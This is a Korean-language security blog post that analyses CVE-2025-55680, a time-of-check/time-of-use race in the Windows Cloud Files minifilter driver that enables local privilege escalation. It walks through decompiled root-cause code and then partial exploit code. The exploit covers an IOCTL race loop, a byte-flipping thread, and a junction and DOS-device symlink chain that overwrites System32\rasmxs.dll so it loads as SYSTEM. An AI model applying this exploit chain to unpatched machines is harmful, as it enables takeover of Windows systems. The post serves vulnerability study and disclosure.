[하루한줄] CVE-2025-55680: Windows Cloud Files 미니필터 드라이버(cldflt.sys)의 TOCTOU 레이스 컨디션을 통한 LPE 취약점
URL
Target
- 2025년 10월 14일자 Microsoft 정기 보안 업데이트 적용 이전의 Windows 10/11 환경
Explain
CVE-2025-55680은 원래 2020년 Microsoft가 패치했던 Arbitrary File Creation EoP 취약점에 대해서, TOCTOU 레이스 조건을 이용해 우회 공격이 다시 가능해진 취약점입니다. 해당 취약점은 Windows Cloud Files Mini Filter Driver에서 발생하였습니다.
Root Cause
while ( 1 )
{
v23 = *(_WORD *)((char *)v52 + 2 * v22 + epi16);
if ( v23 == '\\' || v23 == ':' )
break;
if ( ++v22 >= (unsigned __int16)(WORD1(v18) >> 1) )
goto LABEL_51;
}
기존의 검사 코드는 경로에 \혹은 :문자가 포함되어 있는지 검사하고, 경로에 해당 문자가 있으면 파일 생성이 차단되는 흐름을 가지고 있습니다.
ProbeForRead(a4, Length, 4u);
MmProbeAndLockPages(MemoryDescriptorList, 1, IoReadAccess);
if ( (MemoryDescriptorList->MdlFlags & 5) != 0 )
MappedSystemVa = (char *)MemoryDescriptorList->MappedSystemVa;
else
MappedSystemVa = (char *)MmMapLockedPagesSpecifyCache(MemoryDescriptorList, 0, MmCached, 0i64, 0, 0x40000010u);
v46 = MappedSystemVa;
ProbeForRead와 MmProbeAndLockPages로 페이지를 락(lock)한 후 문자열 검사를 수행하고 있지만, 이는 페이지를 고정할 뿐 내용 자체를 동결시키지 않습니다. 따라서 해당 버퍼는 여전히 UserMode에서도 쓰기가 가능하고, 커널이 문자열 검사를 수행한 직후나 검증과 실제 사용 사이 타이밍에 값이 바뀔 수 있습니다. 이 때문에 검사 시점에는 정상으로 보였던 경로가 사용 시점에는 다른 값으로 바뀌는 TOCTOU 취약점이 발생합니다.
exploit
DoStartSvc();
_mkdir("C:\\ProgramData\\cldpwn");
_mkdir("C:\\ProgramData\\cldpwn\\boo");
HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
init_symlink();
먼저 익스플로잇에 사용할 클라우드 필터 드라이버가 로드되도록 관련 서비스를 시작한 뒤, 공격에 사용할 임의의 경로(C:\ProgramData\cldpwn 및 그 하위 디렉토리)를 생성합니다. 이후 이 디렉토리를 Windows Cloud Filter Sync Root로 등록해, 해당 경로 아래의 파일 생성 요청이 클라우드 필터 드라이버를 반드시 거치도록 만듭니다. (필터 드라이버와 Sync Root 👈)
wchar_t path[] = L"boo16.txt";
createthread test = (createthread)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlCreateUserThread");
HANDLE a;char buffer11[0x100];
*(WORD*)(tmp + 0x8) = 0x100;
*(WORD*)(tmp + 0xa) = (lstrlenW(path)) * 2;
*(WORD*)(tmp + 0xc) = 0x20;
*(WORD*)(tmp + 0xe) = 0x30;
memcpy(tmp + 0x100, path, (lstrlenW(path) + 1) * 2);
...
*(int*)inbuffer = 0x9000001A;
*(int*)(inbuffer + 4) = 0xC0000001;
*(int*)(inbuffer + 8) = 0x1;
*(int*)(inbuffer + 16) = 0x200;
*(char**)(inbuffer + 24) = tmp;
while (1) {
*(char*)(tmp + 0x106) = 0x31;
*(char*)(tmp + 0x11a) = 0x31;
DeviceIoControl(dir_handle, 0x903BC, inbuffer, 0x98, outbuffer, 0x1000, &BytesReturned, 0);
}
이후 dir_handle에 대해 IOCTL(0x903BC)을 반복적으로 보내면서, boo16.txt라는 이름의 placeholder 파일을 계속 생성하도록 시도합니다. 이때 inbuffer의 첫 필드 0x9000001A와 상태 코드 0xC0000001, 0xC0000007은 내부적으로 클라우드 필터 드라이버에서 HsmpOpCreatePlaceholders로 매핑되는 요청 타입과 파라미터로 해석됩니다. 즉, 이 루프를 통해 C:\ProgramData\cldpwn 아래에서 placdholder 생성 요청을 폭발적으로 발생시키는 트리거 역할을 하면서 이 시점의 입력 버퍼 tmp가 이후 TOCTOU 레이스의 타겟이 됩니다.
void thread1() {
while (1) {
Sleep(5);
*(char *)(tmp + 0x106) = 0x5c;
}
}
계속 boo16.txt에 대해 placeholder 파일 생성 요청을 보내는 동안, thread1()에서는 동일 버퍼 tmp를 특정 바이트를 0x31('1')에서 0x5c('\\')로 덮어 경로 문자열 일부를 순간적으로 boo\\6.txt 형태가 되도록 조작합니다. 경로 검사 루틴은 정상적인 값일 때 안전한 boo16.txt 기준으로 통과하지만, 검사 직후 thread1()이 해당 바이트를 \로 바꿔 놓기 때문에 커널이 일시적으로 boo\6.txt 형태가 됩니다.
BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
HANDLE hJunction;
DWORD cb;
wchar_t printname[] = L "";
HANDLE hDir;
hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
...
if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, & cb, NULL) != 0) {
free(Data);
return TRUE;
...
}
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
return TRUE;
...
}
한편 CreateJunction()과 DosDeviceSymLink()를 통해 경로 해석 체인을 구성해둡니다. 먼저 C:\ProgramData\cldpwn\boo\ 디렉터리를 NTFS junction으로 만들어 NT 네임스페이스 상 \RPC Control에 연결하도록 설정합니다. 이어서 GLOBAL\GLOBALROOT\RPC\Control\6.txt를 \??\C:\Windows\System32\rasmxs.dll로 향하는 DOS 디바이스 심볼릭 링크로 등록합니다. 이 결과 커널이 보는 최종 경로 흐름은 C:\ProgramData\cldpwn\boo\6.txt → \RPC Control\6.txt → C:\Windows\System32\rasmxs.dll가 되면서 해당 경로에 대해 쓰기 가능한 파일 핸들을 열게 됩니다.
CreateFile(L"C:\\Windows\\System32\\rasmxs.dll", GENERIC_WRITE,...);
WriteFile(handle, buffer, bytesRead, ...);
trigger_loadlibrary(1);
이 핸들을 이용해 공격자가 준비한 악성 DLL 페이로드를 WriteFile()로 시스템 경로의 rasmxs.dll에 그대로 덮어씁니다. 마지막으로 trigger_loadlibrary(1)이 rasman.dll 내부 함수를 통해 rasman 서비스와의 RPC 호출을 생성하고, 서비스 쪽에서 평소 동작대로 C:\Windows\System32\rasmxs.dll을 로드하도록 트리거합니다. 이때 DLL 내용은 공격자 코드로 교체되어 있기 때문에, 수정된 rasmxs.dll이 rasmans 서비스 SYSTEM 권한 컨텍스트에서 로드되고 페이로드가 실행되며 최종적으로 권한 상승이 발생합니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.